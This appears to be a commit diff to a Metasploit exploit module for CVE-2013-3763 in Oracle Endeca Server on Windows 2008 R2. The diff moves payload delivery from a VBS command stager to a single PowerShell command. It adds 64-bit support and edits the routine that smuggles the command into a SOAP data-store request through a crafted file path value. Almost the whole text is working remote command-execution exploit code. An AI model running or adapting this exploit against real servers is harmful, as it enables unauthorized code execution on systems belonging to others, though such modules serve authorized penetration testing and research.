@@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
11
11
Rank = ExcellentRanking
12
12
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
- include Msf ::Exploit ::CmdStagerVBS
14
+ include Msf ::Exploit ::Powershell
15
15
16
16
def initialize
17
17
super (
@@ -29,7 +29,7 @@ def initialize
29
29
'juan vazquez' # Metasploit module
30
30
] ,
31
31
'Platform' => 'win' ,
32
- 'Arch' => ARCH_X86 , # Using ARCH_X86 because it's compatible with CmdStagerVBS
32
+ 'Arch' => [ ARCH_X86_64 , ARCH_X86 ] ,
33
33
'References' =>
34
34
[
35
35
[ 'CVE' , '2013-3763' ] ,
@@ -40,7 +40,7 @@ def initialize
40
40
] ,
41
41
'Targets' =>
42
42
[
43
- [ 'Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2' , { } ]
43
+ [ 'Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2 64 bits ' , { } ]
44
44
] ,
45
45
'DefaultTarget' => 0 ,
46
46
'Privileged' => false ,
@@ -131,21 +131,24 @@ def send_request_soap(data)
131
131
end
132
132
133
133
def exploit
134
- print_status ( "#{ peer } - Exploiting by deploying a VBS CMD Stager..." )
135
- # Windows 2008 Command Prompt Max Length is 8191
136
- execute_cmdstager ( { :delay => 0.35 , :linemax => 7500 } )
134
+ command = cmd_psh_payload ( payload . encoded )
135
+ if command . length > 8000
136
+ # Windows 2008 Command Prompt Max Length is 8191
137
+ fail_with ( Failure ::BadConfig , "#{ peer } - The selected paylod is too long to execute through powershell in one command" )
138
+ end
139
+ print_status ( "#{ peer } - Exploiting through Powershell..." )
140
+ execute_command ( command )
137
141
end
138
142
139
- def execute_command ( cmd , opts )
140
- # To delete spaces priors to crlf lines since it is an observed behavior on Win 2008
141
- cmd . gsub! ( /data = Replace\( data, vbCrLf, ""\) / , "data = Replace(data, \" \" + vbCrLf, \" \" ) : data = Replace(data, vbCrLf, \" \" )" )
143
+ def execute_command ( cmd )
142
144
# HTML encode ampersands so SOAP is correctly interpreted
143
145
cmd . gsub! ( /&/ , "&" )
144
146
injection = "c:\\ "& #{ cmd } &""
145
147
exploit_data = create_data_store_soap ( rand_text_alpha ( 4 ) , injection )
146
148
begin
147
149
res = send_request_soap ( exploit_data )
148
- if res . nil? or res . code != 500 or res . body !~ /Error creating data files at/
150
+ if res . nil? or res . code != 500 or ( res . body !~ /Error creating data files at/ and res . body !~ /Data files don't exist/ )
151
+ print_status ( "#{ res . code } \n #{ res . body } " ) if res
149
152
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Unable to execute the CMD Stager" )
150
153
end
151
154
rescue ::Rex ::ConnectionError
0 commit comments